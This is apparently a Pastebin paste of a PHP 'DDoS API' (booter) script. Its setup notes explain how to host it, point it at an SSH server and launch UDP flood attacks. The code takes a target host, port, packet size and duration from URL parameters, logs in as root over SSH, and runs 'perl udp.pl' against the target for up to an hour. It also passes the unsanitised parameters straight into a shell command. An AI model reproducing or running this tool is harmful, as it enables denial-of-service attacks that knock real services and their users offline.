Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- This script was made for a DDoS API that I coded in a few hours with Trial and Error.
- Save to webhosting as a PHP File; then go to the link and after the link type ?apikey=123456
- Put your server details where it says Net_SSH2.
- Upload your DDoS Script to the root of your server, and then at the top of the PHP Script $cmd, change it to how your scripts runs.
- At the bottom, you can mess around with how it's setup.
- +-----------------------------------------------------------------------+
- | If you need help, contact me on Skype: fbi.cybercrimewatcher |
- | Released on: 01/18/2015 |
- +-----------------------------------------------------------------------+
- <?php
- /*
- Coded by Psycho/Criminal
- Date Released: 01/18/2015
- Contact me if you need help with setting this up.
- */
- ?>
- <?php
- $maxtime = "3601"; //Max Boot Time
- $cmd = "perl udp.pl"; //Main command it sends the server
- $host = $_GET['host']; //IP - Leave it.
- $port = $_GET['port']; //Port - Leave it.
- $byte = $_GET['byte']; //Byte/Packets Size - Leave it.
- $time = $_GET['time']; //Time = Seconds - Leave it.
- $apikey = $_GET['apikey'];
- include('Net/SSH2.php');
- ?>
- <?php
- if($apikey == null) //Checks to see if the key is blank.
- {
- ob_end_clean(); //Clears the page.
- echo '<font color="red">ERROR:</font> Enter your API Key.</font>';
- } else {
- //Shows forum if API is entered.
- }
- ?>
- <?php
- if($apikey == "123456" || $apikey == "1234567")
- {
- $ssh = new Net_SSH2('127.0.0.0'); //Put server IP/Host here.
- if (!$ssh->login('root', 'password')) //Username to Server, then password.
- {
- exit('Login Failed');
- } else {
- if($host == null)
- {
- echo '<font color="red">Syntax Error, no host entered.</font>';
- echo "</br>";
- echo "Format: apikey=1&host=255.255.0.0&port=80&byte=1024&time=30";
- } else {
- if($port == null)
- {
- echo '<font color="red">Syntax Error, no port entered.</font>';
- echo "</br>";
- echo "Format: apikey=1&host=255.255.0.0&port=80&byte=1024&time=30";
- } else {
- if($byte == null)
- {
- echo '<font color="red">Syntax Error, no packet size entered.</font>';
- echo "</br>";
- echo "Format: apikey=1&host=255.255.0.0&port=80&byte=1024&time=30";
- } else {
- if($time == null)
- {
- echo '<font color="red">Syntax Error, no time entered.</font>';
- echo "</br>";
- echo "Format: apikey=1&host=255.255.0.0&port=80&byte=1024&time=30";
- } else {
- if($host == "192.168.0.1" || $host == "192.168.0.0") //Blacklist yours or another persons IP here.
- {
- echo '<font color="black">IP Address '.$host.' is blacklisted.</font>';
- } else {
- if($time >= $maxtime)
- {
- echo '<font color="black">Syntax Error, max boot time is 3600.</font>';
- } else {
- echo $ssh->exec(''.$cmd.' '.$host.' '.$port.' '.$byte.' '.$time.''); //Sends the official command to server.
- }
- }
- }
- }
- }
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment